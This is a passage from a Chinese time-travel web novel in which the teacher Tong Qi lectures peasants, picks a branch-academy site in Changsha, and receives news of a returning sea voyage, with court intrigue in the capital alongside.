上层阶级里总是流传着一种说法,表示百姓们天生愚钝、不可驯化。 不仅对文化没有任何好奇之心,即便你认真教、掰碎讲,他们也是没有耐心听懂的。 可在童启的讲述之下,百姓们的反应,却直接破坏了这种说法。 瞧瞧这一堆扬起的脑袋,看看这恨不得钻进地里,亲自实验的动作。 你只要讲的和百姓切实有关,对百姓们真正有用,怎么可能会没人听呢? 这还是头一次,众人如此如痴如醉的接受着知识的洗礼。 而童启也成功把轮值讲学只给儒士讲的规矩,扩散到了,百姓们也有资格听的程度。 此次演讲,一改建康府百年农业变局。 不仅令他们明白过来了梯田的种植模式,稻谷养鱼的方法,还令不少人真正理解了商业的意义,重新思考起贵族、世家定价农产品的必要性,由被动到主动,近而跳过这群人,自己去决定他们的商品价格。 无形的翅膀,拉开了庶民和世家的反卫战。 随手播下的种子,也令建康府重新焕发生机,成为了真正意义上只记得童启,而不知华夏书院的特殊存在。 不少人由此心中都种下了一个希望的梦。 那就是知识确实是有用的,不止是之乎者也,空中楼阁。 还有着民生百态、与日常的息息相关。 此次讲学,一共持续了三天,而这三天,童启等人都住在了横屋村内。 即使后续求真书院派人请了好几次,都没有回去。 他们真正做到了有问必答。 无私分享。 哪怕这次的分享,直接撬动了整个南方引以为傲的世家经济。 第125章 第125章分院选址 在确定百姓们弄懂了梯田相关的所有问题后,童启等人并未在建康府停留太久,转身便直接上了路。 继续向南而行。 什么轮值讲学,在他们的心中不过是一群纸上谈兵的家伙聚集在一起,互相辩论罢了。 既浪费时间,又浪费口水,还不如体验各府的风土人情更有趣一些。 若不是之前就答应了来此一趟,他们才不会特意绕道过来,结果来了,也没有感受到建康府对他们的欢迎。 反而因为学风太盛,盛到极致,这里的儒生、士人完全走向了另一个极端,那便是眼高于顶,藐视一切。自诩是个读书人便出人头地,高于普通百姓一头,祖坟上冒青烟了,还未成为“贵族”,反倒沾惹上了一堆“贵族”的毛病,实在和童启想要的学生类型,完全不是一个样子的。 所以果断pass。 等王应昕他们后知后觉,发现童启已经离开后,简直气的要死,直接在书院里狠狠的砸了一通。 发作了不少的学生。 直到北地伊川县前一个月发生的动乱,被慢一步传了过来,他们在听到童启已经自愿解除了华夏书院山长之名,将位置让给了柏盛青柏老之后,被久久忽视的心情,这才瞬间又转怒为喜。 呵,还以为这人有什么大能耐,不过是个连山长之位都保不住的废物罢了。 连自己的大本营都丢了,丧家之犬,何足患也? 于是,自觉童启丢掉了华夏书院山长之位,便等于丢掉了人生的所有意义。 他们又乐观的载歌载舞起来,将此次的讲学之辱,直接抛在了脑后,继续起自己“曲高和寡”的清谈来。 从下一任太子谈到朝中的变动,从圣上的身体聊到天下的格局。 兴致所至,浑然没有发现到角落里一个满身淤青的学子,正悄然记录着他们的谈话,满脸恨意- 且说童启 带着学生们一路走走停停,越过建康府,再次向南。 简直如同游学一般惬意。 遇到他知晓的地理地貌,他便顺带着给孩子们讲一讲,遇到他也不太懂的,便让学生们去问,自己也跟在旁边听,短短半个多月下来,几个小孩子收获颇多。 而童启也逐渐从自己的记忆中,将21世纪的风景与此刻的大奉朝,一一对上了等号。 因着历史的不同,大奉朝的领土和原本北宋的疆域并不太一致。 虽然蒙古、甘肃、新疆等地,仍在其他小国的手中,尚不属于大奉朝内,但老挝、越南、泰国等地却已然划入大奉朝,有了不同的名字。 这些地方,有些比现代要繁盛许多,有的,却比现代更穷。 而越是体会到那不同与差距,便越是让童启了解这个时代。 不仅仅只是通过书本、人言去模糊的猜测。 乃切切实实,用眼睛用心去看,去感觉。 这个时候,南方已经有不少人知晓童启离开华夏书院的消息,欲往南方,开设分院校的传闻,于是纷纷积极的给他伸出橄榄枝。 邀请其来自己的任地中参与考察。 谁都知道,河南府以前是什么样子,原本的破落之所,穷困之地,学风不胜,武德充沛,章县令忙活上大半辈子,都不得寸进。 可在童启建校之后呢? 短短几年,税收直接升至富庶县不说,连州府都一跃成了上上州府! 世家、豪门、贵族、皇室,来拜访求学的,简直数不胜数…… 这哪里只是叫人来开书院啊? 这分明就是招了个财神爷过来啊! 因此,但凡有心想往上走一走的,无不贪婪对方的能力,十分积极的和童启接触着。 而童启也没拒绝,基本上只要邀请的都去看了看,可最后挑中的,却属于任何人都没有想到的潭州。 若论贫穷,潭州实在是算不上贫穷。 相反,它不仅商业繁荣,就连税收,都能与建康府、杭州、开封等地拼一拼,共同争取一下大奉朝前四的位置。 而且私塾遍地,基础教育林立,压根不缺乏向学之人,更不需要童启去传播什么知识的魅力。 每年光考入求真书院的,没有几十也有十几。 州府内各阶层,更是鱼龙混杂,不仅有顶尖的世家,也有顶尖的豪门,甚至还有顶尖的商户、顶尖的船厂……派系林立,竞争激烈。 原本,他并没有将此地涉入分院校选址的考察之地。 可奈何当地的知府和县令十分积极,光是写信,就给他写了十几封,几乎每封信里,都迫切表达了急需他前往的决心,不仅如此,还开出了各种难以让人拒绝的优惠政策,那祈求的语气,简直跃然于纸上,让人无法拒绝。 童启没办法,盛情难却,只得亲自走一趟。 然而他到了任地后才发现,此处的各阶层内斗严重,俨然已经到达了白热化的阶段,知府与县令位卑话弱,根本阻拦不得,所以只能被迫选择引入更厉害的强大“背景”,去搅浑这摊水,争取一线生机。 而童启,便是他们盯上的那条鲶鱼。 只是从南走到北而已,童启手中便已经被塞满了各式各样的小册子。 皆是不同阶层所开设的私塾课程,不仅详细讲述着门户的发家史,光明正大给敌方上眼药,甚至还开出了攀比般的奖励机制。 只要进私塾,便免学费。 只要能考上童生、秀才,便敲锣打鼓,奖励纹银一百两! 可以说,他们完全是在用撒钱的方式,去竞争人才苗子。 只为了把对方给斗败。 童启看着看着就乐了。 这让他不禁想起现代辅导班全盛时期,那些花花绿绿的传单。 有的时候,教育机构甚至还逼得他们这些代课老师亲自去街边发,只为了争抢学生。 那时他只觉得烦躁,可此时,竟也有几分怀念起来。 带着学生们入住客栈,他简单的逛了几圈长沙县后,打探了一下当地的教学情况,第二日,便彻底答应了下来,决定要在此处开设分院校。 长沙县县令听到这话,激动的都快哭了。 几乎还都没还价,便直接把岳麓山的地契,折价卖给了对方。 若不是情况不允许,他甚至都想要直接送的! “您确定真的要在这里开吧?可不能开到半路,或者招不到学生,就直接跑掉啊!” 县令黄佰兴警惕的询问道。 童启苦笑不得的摆了摆手,说,“放心,你们这地方虽复杂,但也没有想象的那么难解!” 不过就是各阶层内斗罢了。 直接把他们的目光转移开来,不就得了? 那还有什么比他们开设分院校,更加能够吸引人注意力的呢? 黄佰兴长松了口气,感谢对方的帮助,同时殷切的询问道,“既如此,那书院可要早早建设开来,等他们察觉到,便不好了,可需要我们帮忙提供修屋建瓦的人?” “不必。” 童启毫无负担的模样,漫不经心道,“只要暂时把那里围起来就行,至于其他的,我已经去信给了师门,他们自然会派人过来修建的。” 黄佰兴不明觉厉。 其实关于童启的师门,一直是一个类似于鬼魂的存在。 人人都听说过,可人人都没有见过。 什么花果山、西牛贺州、三星洞各种传说不绝于耳,只知道应该是归属于道教一派,可真正道家的人,却对此毫无了解。 有心驳斥吧?但对方说出的相关理论却和他们教派研究的完全一致,不仅如此,有的甚至还胜于他们此刻的研究。 简直邪门了! 这就导致有的人信如圭臬,有的人弃如敝履。 黄佰兴自然也曾听说过童启师门的故事,但此刻看着童启认真的表情,他也不得不强行压下心中的好奇,选择了尊重。 童启花费了整整两日,才将系统里所有积攒下来的中阶抽奖券全部用掉,成功解锁了第二座书院里的所有建筑。 不同于第一所建设的那般艰难,这一次,他几乎是大把大把的砸钱,体会到了氪金的意义。 因此,建筑也解锁的相当快,他甚至还有时间慢慢挑选一下其中的建筑风格。 在统一解锁了一套古色古香的“幽云之韵”套装后,这才放下了心,假装还未修好,让人偷摸摸从客栈里拿回了书信,依次回复起天南地北的“信友”来。 几月过去,北方逐渐传来了不少消息。 因着之前没有固定的住所,所以光是童启的信件便被累积了厚厚一大摞,基本上全是他的学生写来的。 基本上就两件事。 一是,如今黄龙府战事已 了,圣上召集三皇子等人回朝,有意禅让给下一代。 大皇子、六皇子等一众皇子,一下子变得十分尴尬起来。 即将要从老爹手中讨生活,转变为向着自己的兄弟手中讨生活…… 岳灼华因着京都保卫战以及黄龙府攻城战,立下了赫赫战功,在柏大将军、汪启元等人的举荐下,被正儿八经封了大奉朝第一位女将军,与六皇子的亲事,也不由彻底告吹。 岳家家主因此急得直接病倒了,连贵妃娘娘也颇为不满,贬斥其为“不守妇德,心比天高。” 而岳灼华却像个没事人一般,反而自请出了海,带队前往围剿倭寇去了。 柏老和柏大将军均忧心不已,生怕这女孩子因着自己母亲的遭遇,而从此心灰意冷,再也不成婚了,所以病急乱投医,竟也求到了童启这里,希望其能帮着想想办法,劝说劝说。 但他能有什么办法呢? 要他说,那样惊才绝艳的女孩子,正应该勇敢去追逐自己想要的生活才对,至于将来愿意嫁人或者不嫁人,那都是她自己的选择。 若有锦上添花的,便罢了,若没有,倒也不必勉强,逼迫着自己去迁就吧? 想到这儿,童启不由的发了一会儿愣,也说不清到底在想什么,转念,又继续看起其他人的信件来。 这第二件事,说的最多的,便是恩科了。 时值春日,京都内,已经有不少人开始入京,准备起即将到来的会试来。 华夏书院内的学生们自然也去了不少。 这一次带队的,乃是潘阆先生。 对方一向严肃克己,这一次亲自前往,书院里的柏老等人,也十分放心。 今年的三个免试名额,童启早已经呈了上去,定下了王世昌、谢君仪以及戚风言三人。 他们已经有了会试的知识储备,可却因着年纪,还未考举人,所以被特殊提了出来。 而其他跟着一起去的,还有着早已经通过乡试的王禹偁、程勤、全岸轩、陆无双、莫小川等人。 一如童启所设想的那样,王世昌的身份并没有引起其他人的注意。 相反,因为圣上的免试旨意,大家几乎都默认了这三人只是来走个过场,不论能不能考上,都会被授予官职的事实,所以竟连考篮都不怎么查,便被放了进去。 当然,也可能有圣上那句,“文官不许盘诘,武臣不得染指,违者论罪!”的警告。 但更多的,还是无人愿意沾惹京都里最霸道的四公主心上人的身份。 这就像是又为其多增添了一层buff一般。 在第一日入京,四公主亲自带着鸾架去城门城门迎接王世昌后,其名讳,便在整个京城内无人不知,无人不晓了。 阵仗之大,就连八岁儿童都知道,王世昌已经是板上钉钉的驸马爷。 博学、有才、长得还俊美,难怪四公主能够看得上。 别说她了,但凡京都里有名有姓的世家女子,几乎都是其隐形的小迷妹,其蹴鞠赛上的英姿,被不知多少人所收藏,每一位见到他,眼中的喜爱,都是明晃晃不加任何掩饰。 炽热的逼人。 天知道那一日,王世昌受到了多大的惊吓。 公主亲迎,这是何德何能才能有这份待遇? 他慌乱的从马车上跳下来,恭敬的行礼道。 “在下永宁县王世昌,见过四公主日安!” 那明媚逼人的女孩高坐在鸾架上,透过纱,拿着鞭子轻轻撩起一角的纱帘,满意的上下打量了几番,令人将其扶起,道。 “王公子不必多礼,本公主只是偶然路过罢了,听闻您前来参加会试,所以慕名前来一观。没想到,果真如画册上所描绘的……那般俊美逼人。” 她略带欣赏的说道,转过弯,便直接令人将他们一行人送入了早就准备好的客栈中,不仅如此,还连着好几日,约王世昌一起赏花品茶。 其有意的态度,简直任谁都能看出。 大奉朝本就没有不允许驸马爷参政的规矩,若王世昌与四公主联姻,绝不能算作坏事,只能是锦上添花。 因此潘阆和圣上也乐得见此场景,并不阻拦。 可他们不知,童启却知晓啊。 此王世昌,绝非彼“王世昌”! 如今四公主如此大的热情倾注到对方身上,若有一日发现真实,又会如何? 确定不会因爱生恨吗? 别说童启了,就连王世昌本人也如此想的!只要一想起此,便如同一把刀悬在了脑袋上一般,时时刻刻等着随时砍下来。 为此,他几乎用尽了所有办法,想要委婉的告诉四公主,拒绝其美好的心意,可皆无任何用处。 那可是四公主啊! 从小,她想要的,何时会得不到呢? 第126章 第126章海运归来 京都,香山湖畔。 王世昌局促不安的坐在石凳上,看着四公主动作优美的筛茶、煮茶,甚至亲手将茶杯递了过来,忍不住堂皇的站起身来。 “公主……这不太好吧?” 哪有堂堂公主给一介庶民奉茶的? 若是让圣上、朝臣知道了,岂不是要骂死他? “莫要担忧,王公子。此处已经被我清了场,不会有人看到的。” 望着王世昌白皙泛红的侧脸,四公主忍俊不禁道。 其身后的宫女丫鬟们,也跟着纷纷掩住唇,垂眸低笑着。 谁也没想到,逗弄一个老实乖巧的士子,竟然会如此有趣。 若说一开始,四公主对于王世昌不过是好奇和敬仰,外加带着一丝丝故意拥捧抬高对方,以作为自己公主身份的影响力的话,那随着两人相处的日渐增多,她反而是真的有点喜欢上这人了。 懂礼数、知进退,既不过于无趣,又不至于市侩到将她纯当成官场上的升踏板。 尊重她,还没有大多数男人身上那股色眯眯的假清高。 俊美又博学。 外加偶尔露出的温柔与体贴。 无一不让她心折,简直完美到她以为是个女的。 若未来的驸马真的是如此性格长相的话,那她倒是也不排斥联姻成亲之事了。 她撑着手,认真的观察着对面的男子,闻着对方身上隐隐带出来的一丝清香,忍不住询问道。 “王公子,你燃的什么香?还挺好闻的。” “香?我不熏香的。” 王世昌慌了一瞬,察觉到什么,顿时拢住了自己的衣领,悄然后退几步,像个禁欲的和尚一般,一脸的防范与警惕。 四公主再次忍不住笑出了声来,满眼的调侃之色道。 “哦?那就是你自带的体香了?还挺好闻的。我喜欢。” 炙热的话语,简直烫的王世昌不知道该如何是好。 不得不说,从小到大,她借着自己弟弟的身份,也曾去过很多地方,见过很多事情,自然遇到过不少向他示好爱慕的女子。 但四公主完全是个变数。 不同于其他女子只要装的稍微冷漠一些,对方便会知难而退的情况,四公主的出招向来直白不加掩饰。 喜欢就是喜欢,讨厌就是讨厌,不仅经常能够倒过来用言语戏弄于她,甚至还乐于见到她堂皇局促的表情。 一点也不会脸红。 无形之中,反倒把她逼得步步退让,打乱了很多计划。 作为女子,这样热烈而率性的性格,她自然是十分欣赏的。 可顶着弟弟的身份,脑袋上还随时有一个会试、殿试的定时炸弹在等着她闯过,谈情说爱,便一点也不适合如今的她了。 王世昌努力在心中权衡着自己的话语,尽量用委婉而不太伤害对方感情的句子,来做出阐述。 “抱歉,四公主,您是个很好的姑娘,臣十分感谢您的厚爱,但……但我不能和您在一起。” “为什么?你不喜欢我?” 四公主撑着脸颊,面色平淡的问道。 “不,只是,臣心中目前只有科考,愿将一生都奉献给大奉朝,实在是无心成家立业,也配不上您的喜欢。” “这不是你说配不配得上就能配得上的,我喜欢就够了。”四公主打断道,“还是说,你已经有了爱慕之人?” “没有……” “那便是独独看不上我了?” “不不不,您很好,只是我,只是我实在无意如此早的成亲……” 四公主看着对方慌乱的手足无措,不知该如何解释的样子,忍不住噗嗤一声笑了出来。 王世昌这才松了一口气,无奈至极。 四公主打趣道。 “冷静些,王公子,谁让你现在就娶我了?你想早娶,我还不想早嫁呢。我承认我对你还蛮喜欢的,但想得到我的心,可没那么容易。你既没有喜欢的女子,而我也尚未有心仪的男子,那为什么我们不能慢慢相处,从朋友做起呢?又不是所有事情最终都要拐到成亲上去的,怎么,你以为本公主就是那土匪之徒,看上了就非要强取豪夺的吗?” 这番话,着实让王世昌心中的紧张减少了很多。 他难为情的笑了笑,没有再反驳。 看来倒是他大惊小怪了一些,从小与同龄女性朋友的缺失,让她对四公主那句“从朋友做起”产生了另一个截然不同的认知方向,也令两人之间的相处,放下了些许身份上的隔阂,转而更近了几分。 暗暗评估着“猎物”的距离,四公主嗪着茶盏,深藏功与名,眼中闪过一丝势在必得的把握。 她想要的,向来没有得不到的。 越是想逃跑,便越是有趣。 谁说的强扭的瓜不甜,一厢情愿的喜欢不算喜欢呢? 也不看看他们老赵家如何发的家? 想要的就争取,不论耍任何手段,只要能达成目的就足够,这,才是她真正从小受到的教育。 随着四公主与王世昌的日渐亲密,京中相关的传闻也越来越多。 这让本就站在风头浪尖上的王世昌,无形之中,也有了更多的关注。 而最为闻名的,还要属心慕于四公主许久的文铭川,文举人。 其乃国子监学生,知名大儒文老的亲孙子,不仅是国子监祭酒的得意高徒,还是京都世家新一代小辈中隐形的领袖人物。 他本就不喜欢小家小户的破落子弟,自诩高人一等,厌恶靠着一张脸便驰骋风雨,吸引了大多数闺阁贵女的行径。 如今见到对自己一向不冷不热的四公主如此主动,还是冲着一个小白脸寒门而去,便更是气愤无比。 觉得丢了面子。 于是,还未等上场,他便已经放出了风声,扬言要让那乡下来的小子,好好见识一下什么叫做君子博学。 两位人杰,还未见面,便已经如此硝烟味十足。 这让各大赌坊中看热闹的群众们,兴奋不已。 就连压筹码的人,都多了许多。 同样紧张尴尬的,还有着京城谢家。 家里有两个备考的学生,若是放到别的人家里,那妥妥是后继有人的象征,狂喜还来不及,只叹祖坟上冒青烟了! 可偏偏这两个,一个是寄予厚望从小花费所有资源好好培养的嫡子,另一个则是无人关照被“流放”乡下又靠着实力逆转回京的庶子。 那这就有些尴尬了。 正所谓有心栽花花不开,无心插柳柳成荫。 谢君仪虽担着血脉之名,可却毫无感恩之心,抓着自己姨娘的死不放,侍君父如同侍敌人一般。 华夏书院读书的几年,不仅没有将他养的更回归传统一些,反倒令他更加的桀骜叛逆了。自回到谢家之后,那更是无法无天,哪怕是条狗从他旁边路过,都得被挨骂几句。 整个谢家几乎无一喜欢这位归来的庶子。 主母不过是询问了一下请安的小事,对方便以“立规矩排挤庶子”为由,冷嘲热讽,险些将其说的晕了过去。 而谢文斌作为嫡长兄,只是随口问了一下,关心了关心他们书院的考前筹备,便被狠狠羞辱了一通,说对方是“打探敌情不怀好心,假惺惺”。 反复闹了几次后,谢家家主也有些忍不了这个亲儿子了,便直接宣布将其禁了足,想要小惩大诫一番。 就像小时候那样。 可他忘了的是,对方早已经不是几年前毫无背景的平民。 其背后还有着华夏书院,还有着童大山长,还有着如今朝堂上炙手可热的大红人汪启元,作为同窗,于是第二日,对方便大喇喇翻墙而出,住宿进朋友家里了。 一去不回。 甚至还在京都里大肆宣扬着谢家家主的无情,话里话外,无不暗示着其为了嫡子,想要排除异己的可怕心思。 简直将他给气的要死。 “这个逆子,逆子!我当初就不应该将他留下来!” 谢家家主捧着心脏,无数次懊悔不已。 而谢文斌则扶着父亲,眼中闪过一丝嘲讽之意,忍不住在心中思考着,若是当初家主听从了清虚子的话,将他送去华夏书院,而并非是以谢君仪作为搪塞,那如今,又会是怎样的一种场景呢? 不过浅薄无知,自作自受罢了。 且说学子们之间扯头花各种争论,热闹不已。 而皇宫内,也并没有想象中的那般风平浪静。 御花园内。 赵天阙倔强的伸出小手,冲着对面讨要道,“那是我的玉牌,请还给我。” 可那七八岁左右壮实如小牛犊一般的男孩,却缩在太监怀中,得瑟的做着鬼脸,道,“就不给,就不给!略略略,没人要的小乞丐,快滚回去吧,这里哪有你的东西,全是我的!王大伴,快走快走,莫要让这小乞丐靠近我们,太臭了!” 三皇孙故意的捏着鼻子,做出一副怪样,高高举起着手中的玉牌,挑衅十足。 按理说,自赵天阙回到皇宫之后,应该随着身份地位的提升而过的更加幸福开心才是。 可事实却并非如此。 圣上虽重视赵天阙的回归,但本身精力不济,压根没有时间将太多心思放在这孩子身上。 而六皇子的母亲却因着黄龙府之战,本身就对四皇子的女儿怀着厌恶之情。 加上赵天阙年纪小却心思独立,行为举止间都透露着远超于普通孩童的那股聪明劲儿,时间长了,反而成为后宫里最为惹眼的存在。 太傅老师们倒是极其喜欢对方的另类发言与观点。 赞其“不愧是童启从小收下的关门女弟子。” 可其他被抢了风头的皇子皇孙们便有些不服气了。 认为不过是一个谋反者的女儿,十足十的破落户,凭什么换身衣服,就能够跟他们平起平坐? 而且性格也不像其他妹妹一般温婉和顺、乖巧听话,处处透露着怪异与野心。 实在是令人厌恶。 于是,矛盾就此产生。 赵天阙冷冷的看着抢了自己东西还耀武扬威的三皇孙,心里的怒火一点点往上升,而旁边的宫女太监们,却个个敛声屏气,全然没有一点为她出头的准备。 好吧,既然如此,那她便不必再装什么君子了。 撩起裙摆,大喝一声,她直接扑上去,与三皇孙扭打成了一团。 三岁的小女孩按着一个八岁的男孩死命的揍。 哭声震天响的同时,底下的下人们也皆吓疯了,连忙上前拉拽阻拦。 可赵天阙是谁? 她可是小小年纪正儿八经上过战场的,哪里肯放开? 于是,等三皇妃被惊动走过来的时候,看见的,便是自己儿子被按在身下狂揍的样子。 而赵天阙则一手抓着他的头发,另一手死命的握着拳,往其身上招呼。 她尖叫一声,大骂道。 “啊——你们都是瞎子不成?就看着她这样殴打皇孙?疯了?简直都疯了!快拉开,还不快拉开?” 十几个膀大腰圆的嬷嬷冲上去,又是掰手指,又是拧肉的,好不容易这才将两人分开。 赵天阙被一把甩在地上,尘土飞扬,乱糟糟的裙摆与头发,看起来,格外狼狈,如同个小疯子般。 三皇妃心疼的一把抱住自己的儿子,怜爱的轻哄道。 “稷儿别怕,娘来了,娘来了啊!” 然后一转头,怒气冲冲的对着赵天阙斥道。 “混账小东西!半点不记恩,圣上将你认回来,难道是让你按着皇孙打的吗?果然没有爹娘的玩意儿就是毫无家教,跟个泼野猴孙一般!带她的人呢?将他们全部送到监事房里,给我狠狠的打!” 跟随赵天阙的宫女太监们忙惊恐的跪了一地,口中求饶不断。 赵天阙则一把爬起,护在了他们面前,凶悍道。 “不准!分明是他先抢了我的东西的!那是我师父给我的,凭什么打我的人?” “凭什么?就凭本王妃才是这里的主人!” 三皇妃柳眉横竖道,责问向一旁的太监。 “王孙拿了她什么东西?还给她!见过什么好玩意儿,也值当如此稀罕?” 旁边的小太监连忙将那沾了灰的玉佩递上前来。 那是华夏书院藏书阁的令牌,走的时候,童启亲手给赵天阙系在腰间的,自然珍重异常。 怀中的小皇孙见状,哭喊着耍着赖,索要着那个腰牌。 三皇妃则气的要死,只觉被丢了面子。 不过一个小崽子罢了,顶着一个公主的名头,就敢这样跟她说话,马上,他们母子就要成为全天下最尊贵的人了,她儿子,可是未来大奉朝的太子,什么东西要不得?就连华夏书院的童启,那也不过是帮助他们登上皇位的狗罢了,顶多就是个好用的家奴。 这丫头凭什么如此嚣张? 到底知不知道什么叫做尊卑?什么叫做犯上啊? “我当什么好东西?眼皮子短浅的玩意儿,不过一个廉价之物罢了,也当成宝贝,给皇孙当玩具都嫌硌手呢!让宫造局多造几个出来,散给底下的人,省的下次一点小事,就搞出如此阵仗。” “是。” 底下的人忙答应道。 三皇妃冷漠的瞥了一眼,抱起皇孙离开,不再理会了,那令牌被狠狠的仍在泥土中,灰扑扑的,任由人从上踏过,沾染上更多灰尘。 直到三皇妃走远,赵天阙才被那群嬷嬷放开。 她沉默的 上前,将自己的腰牌从土里重新捡了回来。一向张牙舞爪、受到半点委屈便哭啼啼的小孩,头一次,忍住了所有的泪水,可脸上的落寞之色,却令任何一个人看到,都只觉心碎不已。 皇宫外,李元昊和折继世蹲守在侧门处,满脸担忧。 他们受山长之命,一路护送赵天阙回宫,可谁料对方一进去,便直接失了联。 即便用尽办法想要打听,却像是被一双手直接挡在了外面,难以窥探到半分。 不安之下,他们只能求助到汪启元和杨舟万那里。 可两人皆是朝臣,一时之间也不可能混入后宫之中。 如此等啊等,总算通过四公主那边的关系,联络到了一个小太监,勉强聆听了一些事情。 今日,便是他们互通消息的日子。 见到两个人下职出来,他们忙迎了上去,追问怎么样。 只见汪启元一脸郁色,浑身带着一丝愤怒与狠厉来,沉默不语。 而杨舟万则将白日里听到的御花园的事情犹豫着说了出来,果然,直接令李元昊和折继世大为恼火。 要说赵天阙,那可是在他们这一群师兄面前眼见着长大的! 不似亲女儿,那也是亲妹妹的程度了。 以前在书院里,有王小花宠着,山长护着,哪里受过半点委屈? 可回到皇宫中,竟然被一个妇人如此欺辱,简直岂有此理! “不行!我要想办法把天阙偷出来,带回我们西夏去!”李元昊嚷嚷道。 折继世一脸无语,“难道你是想让天阙也背上叛国的罪名吗?省省吧,真要偷,还不如直接将她偷回书院去。” “对,咱们带着她去找山长,山长肯定会有办法的,那什么劳什子公主,大不了咱们不当了,回头她想要,我可以让父王给她封一个新的!” 杨舟万头痛的一把捂住无法无天的西夏小王子,劝道,“你可别乱说,天阙如今已经是大奉朝的公主了,名正言顺,她是皇家人,什么偷出来,你当是你家的吗?都冷静些,此事,还是要从长计议,山长上个月不是还来了信,询问天阙的消息,不如将此事一并告知过去,看看山长怎么说。” 即便毕业了,很多大事,他们这群学生仍旧是习惯性问向童启。 与其商量。 倒也不是自己无法做出决策,只是生怕因为他们的动作而带坏了书院的名声,令童启再次出现不得不主动辞职,以安民心的举动来罢了。 汪启元附和应是,没有任何意见,可心中想的,却是三皇妃那句“无父无母”的话。 老实说,妻子的态度很大程度上也决定了丈夫的偏向。 看似如今华夏书院整条船都绑定在三皇子身上,为其提供了那么多便利的事情。 可这三皇子,真的感恩吗? 还未登帝位,就如此嚣张,若真的坐了天下,又会在乎一路扶持过来的人吗? 他不得不为此而产生怀疑。 但想起如今圣上的态度,他也只能将所有的心思暂时藏下,一路带着李元昊等人出了宫,给山长写完信,解释了此处发生的事情,询问后续该如何办之后,他这才慢悠悠,调转方向,往丞相府而回。 丞相府内,胡薇微正百无聊赖的坐在秋千架上,浑身像是没骨头一般。 软趴趴的发着呆。 只听到远处丫鬟的一句“来了来了”,她立马坐整齐,令人慌张的抱过来一早已经准备好的琴匣,像模像样的弹了起来。 叮叮咚咚的古琴声,幽怨而满身愁绪,令汪启元不由停下了脚步。 他透过树枝看向这里,见到是胡薇微,转身便想悄然的退回去,没想到却被对方立马叫住。 “站住!何人在哪里?” 汪启元脚下一转,只得硬着头皮走了进来。 “今日怎么想起弹琴了?” 他随口问道。 一身朝服还未换下,越发衬得他面如冠玉,腰如细蜂。 胡薇微高挺着自己的胸膛,冷哼道。 “我为什么不能弹琴?这是我自己的家,难道因为成了亲,不得夫君喜爱,便连个琴都不能弹吗?” 汪启元额头一阵阵发胀。 无奈至极。 他搞不懂,为什么女人比朝事还要复杂,明明身处一个屋檐下,可是每次见到对方,却像是点了炸药一般,没两句就要针锋相对,像是吵起来一般。 “我何时不喜爱你了……” 他张口疑惑道,还未等对方开口,便又疲惫的自我回答。 “罢了,我知道你喜欢胜开,是我的错,既然你不想见我,那我今天还是依旧睡书房吧。抱歉,打断你的雅兴了。” 眼见着对方转身欲走,胡薇微彻底急了,顿时站了起来。 “谁说我不想见你了?你便是这样想我的?呵,用不着每次都把理由往我身上栽,你若真不满意我,那当初何必娶我,怎么,为了父亲的提携将我娶回来,如今得到了,便不必讨好珍惜了是吗?说实话吧,你外面是不是有别的人了?是不是蓟州府,在那里认识的?” 听着对方越说越不像话,汪启元难以忍耐的打断道。 “够了,你整天胡乱猜测什么?难道心里就只有这点事情吗?” “什么叫做这点事?你整日见不到人,刚成亲就出去几个月,回来后,又忙这忙那,难不成当我嫁了个死人吗?” 同龄的闺中密友个个都已经有了身孕,就她,连个夫妻生活,都屈指可数。 若不是确定汪启元不喜欢男人,她都险些要怀疑自己的魅力了! 又怎么会不担心。 汪启元尴尬的解释道,“你也看过山长那篇文章了,不是我不想和你一起,而是女子早生育本就有害。” “什么有害,你分明就是不喜欢我,故意躲我,要不是父亲,你会娶我吗?不过是借口罢了,少提那什么文章,你肯定是想要和其他的女子一起生孩子。” “你简直不可理喻!” “你现在发现我不可理喻了?那当初娶我的时候怎么不说?哦,是我父亲给的太多,所以你无法拒绝吗?” 胡微微一字一句步步不相让,说出的话像是一把利剑,直刺入汪启元的胸口。 对方难以置信的看着她,良久,终究还是什么话都没有说,甩袖离开了。 没想到本想缓和关系,可却又搞成了这样的结局,胡薇微泄气不已。 旁边的丫鬟见状,小心翼翼的上前劝慰道,“小姐,姑爷又去睡书房了。要我说,您好歹软着些,如此针锋相对,何必呢?” 胡微微欲哭无泪,辩驳着,“哪里是我不够软,分明是他心里有人,被我说中了,所以心虚罢了。” 别以为她不知道,当初娶自己,他就不太情愿。 如今不假辞色 ,也不过是敷衍而已。 说不定就等着父亲请辞后,休妻再娶呢。 哼,我偏偏不让他如意! 于是第二日,听闻了小夫妻吵架的胡丞相,再次将汪启元叫过去训了一通。 身为下属兼女婿,对方只得忍着道了歉,可心中的隔阂却越发深了起来。 其中种种,不必细说。 且说南下开分院的童启等人一边等着书院建筑“建好”,一边巡视了解着长沙县。 突然,一封快马加鞭的信件从广州府而来,直接打破了他们的正常计划。 曹时序回来了! 三年的时间,渺无音讯,不知道的人还以为早就死了。 童启也没有再期待任何的可能,若不是通过动点地图确定对方仍旧在海上,他险些以为对方全军覆没了。 可谁能想到,时至今日,对方竟真的回来了? 还带来了不少的种子,直接架着船,停在了广州府渡口处! 第127章 第127章辨认种子 恰好吴韧当值,巡视港口,这不巧了吗?直接撞了个正着。 曹时序出海的事情,作为第一批华夏书院的学生,吴韧自然是知晓此事的,当即便令人接应,允许航船停靠进港。 然后快马加鞭写信给童启,令其来此共同商议,并辨认海上带回来的物种。 童启收到信后,并未犹豫,迅速出发。 一边往广州府赶,一边忍不住心中的激动。 三年,三年啊! 多少人以为曹时序他们已经葬身大海之中了,谁能想到,竟然还真回来了?并且满载而归,带回来了不少东西? 要知道,他绘制的地图可是极其简易版的,里面的经纬度甚至都不太明了清晰,可偏偏,如此大的事情,竟真令人做成了? 且据吴韧的信上所言,他们甚至最远到达了美洲附近! 这也太不可思了,简直重新书写了大陆的历史! 而因着跨地域太远,带回来的东西太多,很多物种就连曹时序自己也不知道到底是做什么用的,只是看到好看就直接带回来了。 童启,自然便成了他们首要的求助对象。 哪怕他们也不确定,童启会不会认识这些东西。 可能够肯定的是,若童启不认识,这大奉朝领域里,应该也是尚无其他人可以辨认的出了。 匆匆跨过几个县城与州府,童启驾着车,成功到达广州。 与现代印象中那个繁华的大都市截然不同,此时的广州贫瘠而多樟,当地百姓很多甚至都凑不齐一整套的衣服,看起来面黄肌瘦,怯懦多病。 就连入目所及的屋宇也没几个真正建设的牢固的,个顶个都如同危房一般,仿佛风一吹,便能够轻松倒塌。 在等待童启到来的时间,吴韧率先以父母官的身份,接待了曹时序一行人。 而几年过去,双方变化极大,再见面,都已经不敢辨认。 